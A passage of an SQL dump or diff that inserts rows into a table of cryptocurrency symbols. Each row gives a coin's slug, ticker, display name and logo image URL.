'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bikan.png', NULL); +INSERT INTO `t_symbols` VALUES (779, 'qunqun', 'QUN', 'QunQun', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/qunqun_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (780, 'anglelabs', 'ANGLE', 'Angle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/anglelabs.png', NULL); +INSERT INTO `t_symbols` VALUES (781, 'jupiter', 'JUP', 'Jupiter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jupiter.png', NULL); +INSERT INTO `t_symbols` VALUES (782, 'coins', 'COINS', 'coins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coins.png', NULL); +INSERT INTO `t_symbols` VALUES (783, 'one', 'ONE', 'One', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one.png', NULL); +INSERT INTO `t_symbols` VALUES (784, 'dora-factory', 'DORA', 'Dora Factory', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dora-factory.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (785, 'tch', 'TCH', 'TigerCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tch.png', NULL); +INSERT INTO `t_symbols` VALUES (786, 'proximax', 'XPX', 'ProximaX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proximax.jpg', NULL); +INSERT INTO `t_symbols` VALUES (787, 'project-galaxy', 'GAL', 'Galatasaray Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-galaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (788, 'b2bcoin', 'BBC', 'Tradove B2BCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2bcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (789, 'contents-protocol', 'CPT', 'Contents Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/contents-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (790, 'as-roma', 'ASR', 'AS Roma Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/as-roma.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (791, 'tland', 'TLAND', 'TokenLand Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tland.png', NULL); +INSERT INTO `t_symbols` VALUES (792, 'qb', 'QB', 'qb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (793, 'svd', 'SVD', 'Savedroid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/svd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (794, 'whale', 'WHALE', 'WHALE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whale.png', NULL); +INSERT INTO `t_symbols` VALUES (795, 'emirex-token', 'EMRX', 'Emirex Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emirex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (796, 'wpp-token', 'WPP', 'WPP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wpp-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (797, 'sait', 'SAIT', 'Sophon Capital Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sait.jpg', NULL); +INSERT INTO `t_symbols` VALUES (798, 'taki', 'TAKI', 'TAKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/taki.png', NULL); +INSERT INTO `t_symbols` VALUES (799, 'shping', 'SHPING', 'Shping', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shping.jpg', NULL); +INSERT INTO `t_symbols` VALUES (800, 'beowulf', 'BWF', 'Beowulf', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beowulf.png', NULL); +INSERT INTO `t_symbols` VALUES (801, 'hpt', 'HPT', 'Huobi Pool', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hpt.png', NULL); +INSERT INTO `t_symbols` VALUES (802, 'projectwith', 'WIKEN', 'Project WITH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/projectwith.png', NULL); +INSERT INTO `t_symbols` VALUES (803, 'now-token', 'NOW', 'ChangeNOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/now-token.png', NULL); +INSERT INTO `t_symbols` VALUES (804, 'quickx', 'QCX', 'QuickX Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quickx.png', NULL); +INSERT INTO `t_symbols` VALUES (805, 'verynifty', 'MUSE', 'Muse DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verynifty.png', NULL); +INSERT INTO `t_symbols` VALUES (806, 'coinloan', 'CLT', 'CoinLoan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinloan.jpg', NULL); +INSERT INTO `t_symbols` VALUES (807, 'elixir', 'ELIX', 'Elixir', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elixir.png', NULL); +INSERT INTO `t_symbols` VALUES (808, 'hotb', 'HOTB', 'hotb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hotb.png', NULL); +INSERT INTO `t_symbols` VALUES (809, 'voxies', 'VOXEL', 'Voxies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voxies.png', NULL); +INSERT INTO `t_symbols` VALUES (810, 'webdollar', 'WEBD', 'webdollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webdollar.png', NULL); +INSERT INTO `t_symbols` VALUES (811, 'digixdao', 'DGD', 'DigixDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digixdao.png', NULL); +INSERT INTO `t_symbols` VALUES (812, 'bhtx', 'BHTX', 'BHTX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bhtx.png', NULL); +INSERT INTO `t_symbols` VALUES (813, 'dtraveltoken', 'TRVL', 'TRVL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/dtravel.png', NULL); +INSERT INTO `t_symbols` VALUES (814, 'nexus', 'NXS', 'Nexus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexus.png', NULL); +INSERT INTO `t_symbols` VALUES (815, 'ict', 'ICT', 'ict', NULL, NULL); +INSERT INTO `t_symbols` VALUES (816, 'grid', 'GRID', 'Grid+', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grid.png', NULL); +INSERT INTO `t_symbols` VALUES (817, 'prchain', 'PR', 'prchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (818, 'orbitcoin', 'ORB', 'Orbitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Orbitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (819, 'suncontract', 'SNC', 'SunContract', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suncontract.png', NULL); +INSERT INTO `t_symbols` VALUES (820, 'blockport', 'BUX', 'BUX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockport.png', NULL); +INSERT INTO `t_symbols` VALUES (821, 'revv', 'REVV', 'REVV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revv.png', NULL); +INSERT INTO `t_symbols` VALUES (822, 'sentinel', 'DVPN', 'Sentinel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentinel.png', NULL); +INSERT INTO `t_symbols` VALUES (823, 'jac', 'JAC', 'JAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jac.png', NULL); +INSERT INTO `t_symbols` VALUES (824, 'haven-protocol', 'XHV', 'Haven', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/haven-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (825, 'darwinia-network-native-token', 'RING', 'Darwinia Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darwinia-network-native-token.png', NULL); +INSERT INTO `t_symbols` VALUES (826, 'beam', 'BEAM', 'BEAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/beam.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (827, 'atn', 'ATN', 'ATN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atn.png', NULL); +INSERT INTO `t_symbols` VALUES (828, 'invictus-hyperion-fund', 'IHF', 'Invictus Hyperion Fund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/invictus-hyperion-fund.jpg', NULL); +INSERT INTO `t_symbols` VALUES (829, 'crypterium', 'CRPT', 'Crypterium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypterium.png', NULL); +INSERT INTO `t_symbols` VALUES (830, 'karmaapp', 'KARMA', 'KARMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/karmaapp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (831, 'bitforex', 'BF', 'Bitforex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitforex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (832, 'dao-casino', 'BET', 'DAOBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dao-casino.png', NULL); +INSERT INTO `t_symbols` VALUES (833, 'safex-cash', 'SFX', 'Safex Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safex-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (834, 'beat', 'BEAT', 'BEAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (835, 'marvrodi-salute-vison', 'MSV', 'Marvrodi Salute Vison', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marvrodi-salute-vison.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (836, 'colu-local-network', 'CLN', 'Colu Local Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/colu-local-network.png', NULL); +INSERT INTO `t_symbols` VALUES (837, 'dadi', 'EDGE', 'Edge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dadi.png', NULL); +INSERT INTO `t_symbols` VALUES (838, 'wbabachain-token', 'WBBT', 'wbabachain-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wbabachain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (839, 'linkercoin', 'LNC', 'Linker Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linkercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (840, 'kubocoin', 'KUBO', 'KuboCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kubocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (841, 'cardstack', 'CARD', 'Cardstack', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardstack.png', NULL); +INSERT INTO `t_symbols` VALUES (842, 'step-app', 'FITFI', 'Step App', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/step-app.png', NULL); +INSERT INTO `t_symbols` VALUES (843, 'bosagora', 'BOA', 'BOSAGORA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bosagora.png', NULL); +INSERT INTO `t_symbols` VALUES (844, 'infinity-pad', 'IPAD', 'Infinity Pad [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinity%20Pad.png', NULL); +INSERT INTO `t_symbols` VALUES (845, 'unitrade', 'TRADE', 'Unitrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unitrade.png', NULL); +INSERT INTO `t_symbols` VALUES (846, 'gridcoin', 'GRC', 'Gridcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gridcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (847, 'modum', 'MOD', 'Modum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/modum.png', NULL); +INSERT INTO `t_symbols` VALUES (848, 'cindicator', 'CND', 'Cindicator', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cindicator.png', NULL); +INSERT INTO `t_symbols` VALUES (849, 'santiment', 'SAN', 'Santiment Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/santiment.png', NULL); +INSERT INTO `t_symbols` VALUES (850, 'slx', 'BYTZ', 'BYTZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/slx.png', NULL); +INSERT INTO `t_symbols` VALUES (851, 'valor-token', 'VALOR', 'Smart Valor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/valor-token.png', NULL); +INSERT INTO `t_symbols` VALUES (852, 'hyperplay', 'HPS', 'hyperplay', NULL, NULL); +INSERT INTO `t_symbols` VALUES (853, 'nex', 'NEX', 'Nash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nex.png', NULL); +INSERT INTO `t_symbols` VALUES (854, 'trittium', 'TRTT', 'Trittium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trittium.png', NULL); +INSERT INTO `t_symbols` VALUES (855, 'dynamic', 'DYN', 'Dynamic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamic.png', NULL); +INSERT INTO `t_symbols` VALUES (856, 'energi', 'NRG', 'Energi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energi.jpg', NULL); +INSERT INTO `t_symbols` VALUES (857, 'wrapped-ampleforth', 'WAMPL', 'Wrapped Ampleforth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-ampleforth.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (858, 'dhedge-dao', 'DHT', 'dHEDGE DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dhedge-dao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (859, 'cryptex-finance', 'CTX', 'Cryptex Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptex-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (860, 'callisto-network', 'CLO', 'Callisto Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/callisto-network.png', NULL); +INSERT INTO `t_symbols` VALUES (861, 'aura', 'AURA', 'Aura Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/auranetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (862, 'electric-vehicle-zone', 'EVZ', 'Electric Vehicle Zone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electric-vehicle-zone.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (863, 'ztcoin', 'ZT', 'ZBG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ztcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (864, 'rari-governance-token', 'RGT', 'Rari Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rari-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (865, 'share-token', 'SHR', 'Share', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/share-token.png', NULL); +INSERT INTO `t_symbols` VALUES (866, 'ferrum-network', 'FRM', 'Ferrum Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ferrum-network.png', NULL); +INSERT INTO `t_symbols` VALUES (867, 'xaya', 'CHI', 'Xaya', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xaya.jpg', NULL); +INSERT INTO `t_symbols` VALUES (868, 'chain-games', 'CHAIN', 'Chain Games', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chain-games.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (869, 'troy-trade', 'TROY', 'Troy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/troy-trade.png', NULL); +INSERT INTO `t_symbols` VALUES (870, 'xdai', 'XDAI', 'XDAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdai.png', NULL); +INSERT INTO `t_symbols` VALUES (871, 'particl', 'PART', 'Particl', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/particl.png', NULL); +INSERT INTO `t_symbols` VALUES (872, 'b2bx', 'B2B', 'B2BX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2bx.png', NULL); +INSERT INTO `t_symbols` VALUES (873, 'jul', 'JUL', 'JustLiquidity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jul.png', NULL); +INSERT INTO `t_symbols` VALUES (874, 'mimblewimble', 'MWC', 'MimbleWimbleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mimblewimblecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (875, 'sidus-sidustoken', 'SIDUS', 'Sidus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sidus.png', NULL); +INSERT INTO `t_symbols` VALUES (876, 'bhpcash', 'BHP', 'bhpcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bhpcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (877, 'transfercoin', 'TX', 'TransferCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/transfercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (878, 'cashaa', 'CAS', 'Cashaa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashaa.png', NULL); +INSERT INTO `t_symbols` VALUES (879, 'fex', 'FEX', 'FEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fex.png', NULL); +INSERT INTO `t_symbols` VALUES (880, 'xfc', 'XFC', 'Football Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xfc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (881, 'gapp-network', 'GAP', 'GAPS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gapp-network.png', NULL); +INSERT INTO `t_symbols` VALUES (882, 'block', 'BLOCK', 'Blockasset', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/blockasset.png', NULL); +INSERT INTO `t_symbols` VALUES (883, 'nav-coin', 'NAV', 'Navcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nav-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (884, 'storiqa', 'STQ', 'Storiqa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storiqa.png', NULL); +INSERT INTO `t_symbols` VALUES (885, 'bifrost-native-token', 'BNC', 'Bifrost Native Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bifrostglobal.png', NULL); +INSERT INTO `t_symbols` VALUES (886, 'monkeyball', 'MBS', 'MonkeyLeague', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monkeyball.png', NULL); +INSERT INTO `t_symbols` VALUES (887, 'insights-network', 'INSTAR', 'Insights Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insights-network.png', NULL); +INSERT INTO `t_symbols` VALUES (888, 'starcoin', 'STC', 'Starcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (889, 'sinovate', 'SIN', 'SINOVATE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sinovate.png', NULL); +INSERT INTO `t_symbols` VALUES (890, 'jobchain', 'JOB', 'Jobchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jobchain.png', NULL); +INSERT INTO `t_symbols` VALUES (891, 'xlq', 'XLQ', 'ALQO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xlq.jpg', NULL); +INSERT INTO `t_symbols` VALUES (892, 'yffs-finance', 'YFFS', 'YFFS Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yffs-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (893, 'everus', 'EVR', 'Everus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everus.png', NULL); +INSERT INTO `t_symbols` VALUES (894, 'vinchain', 'VIN', 'VINchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vinchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (895, 'hi-mutual-society', 'HMC', 'Hi Mutual Society', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hi-mutual-society.png', NULL); +INSERT INTO `t_symbols` VALUES (896, 'colony', 'CLY', 'Colony', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (897, 'robonomics-network', 'XRT', 'Robonomics Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/robonomics-network.png', NULL); +INSERT INTO `t_symbols` VALUES (898, 'bismuth', 'BIS', 'Bismuth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bismuth.png', NULL); +INSERT INTO `t_symbols` VALUES (899, 'bigbang-core', 'BBC', 'BigBang Core', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bigbang-core.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (900, 'factom', 'FCT', 'Factom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/factom.png', NULL); +INSERT INTO `t_symbols` VALUES (901, 'dew', 'DEW', 'DEW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dew.png', NULL); +INSERT INTO `t_symbols` VALUES (902, 'restart-energy-mwat', 'MWAT', 'Restart Energy MWAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/restart-energy-mwat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (903, 'pib', 'PIB', 'Pibble', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pib.jpg', NULL); +INSERT INTO `t_symbols` VALUES (904, 'gny', 'GNY', 'GNY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gny.png', NULL); +INSERT INTO `t_symbols` VALUES (905, 'defi-yield-protocol', 'DYP', 'Dypius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defi-yield-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (906, 'chainx', 'PCX', 'ChainX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainx.png', NULL); +INSERT INTO `t_symbols` VALUES (907, 'multivac', 'MTV', 'MultiVAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/multivac.png', NULL); +INSERT INTO `t_symbols` VALUES (908, 'morpheus-labs', 'MITX', 'Morpheus Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morpheus-labs.png', NULL); +INSERT INTO `t_symbols` VALUES (909, 'fabrk', 'FAB', 'FABRK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fabrk.png', NULL); +INSERT INTO `t_symbols` VALUES (910, 'atheios', 'ATH', 'Athos Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atheios.png', NULL); +INSERT INTO `t_symbols` VALUES (911, 'oduwa', 'OWC', 'Oduwa Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oduwa.jpg', NULL); +INSERT INTO `t_symbols` VALUES (912, 'tokenomy', 'TEN', 'Tokenomy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenomy.png', NULL); +INSERT INTO `t_symbols` VALUES (913, 'kambria', 'KAT', 'Kambria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kambria.jpg', NULL); +INSERT INTO `t_symbols` VALUES (914, 'bitsdaq', 'BQQQ', 'BQQQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitsdaq.png', NULL); +INSERT INTO `t_symbols` VALUES (915, 'hade-platform', 'HADE', 'Hade Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hade-platform.jpg', NULL); +INSERT INTO `t_symbols` VALUES (916, 'sdchain', 'SDA', 'sdchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdchain.png', NULL); +INSERT INTO `t_symbols` VALUES (917, 'yeed', 'YEED', 'YGGDRASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yeed.png', NULL); +INSERT INTO `t_symbols` VALUES (918, 'digital-asset-guarantee-token', 'DAGT', 'Digital Asset Guarantee Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-asset-guarantee-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (919, 'lamb', 'LAMB', 'Lambda', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/lamb.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (920, 'awc', 'AWC', 'Atomic Wallet Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/awc.png', NULL); +INSERT INTO `t_symbols` VALUES (921, 'naviaddress', 'NAVI', 'Naviaddress', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/naviaddress.png', NULL); +INSERT INTO `t_symbols` VALUES (922, 'apm-coin', 'APM', 'apM Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apm-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (923, 'twdt', 'TWDT', 'TWDT-ETH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/twdt.png', NULL); +INSERT INTO `t_symbols` VALUES (924, 'vetri', 'VLD', 'Vetri', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vetri.jpg', NULL); +INSERT INTO `t_symbols` VALUES (925, 'v-systems', 'VSYS', 'V.SYSTEMS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/v-systems.png', NULL); +INSERT INTO `t_symbols` VALUES (926, 'boscoin', 'BOS', 'BOScoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (927, 'eon', 'EON', 'EON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eon.png', NULL); +INSERT INTO `t_symbols` VALUES (928, 'toacoin', 'TOA', 'ToaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/toacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (929, '1world', '1WO', '1World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/1World_Online.jpg', NULL); +INSERT INTO `t_symbols` VALUES (930, 'eidoo', 'EDO', 'Eidoo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eidoo.png', NULL); +INSERT INTO `t_symbols` VALUES (931, 'the-abyss', 'ABYSS', 'Abyss', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-abyss.png', NULL); +INSERT INTO `t_symbols` VALUES (932, 'seratio', 'SER', 'seratio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/theSERatio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (933, '42-coin', '42', '42-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/42-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (934, 'animation-vision-cash', 'AVH', 'AVH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animation-vision-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (935, 'charg-coin', 'CHG', 'Charg Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/charg-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (936, 'metahash', 'MHC', '#MetaHash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metahash.png', NULL); +INSERT INTO `t_symbols` VALUES (937, 'baasid', 'BAAS', 'BaaSid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baasid.png', NULL); +INSERT INTO `t_symbols` VALUES (938, 'threefold-token', 'TFT', 'ThreeFold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threefold-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (939, 'btc-standard-hashrate-token', 'BTCST', 'BTC Standard Hashrate Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-standard-hashrate-token.png', NULL); +INSERT INTO `t_symbols` VALUES (940, 'shopnext-nexttoken', 'NEXT', 'ShopNEXT', 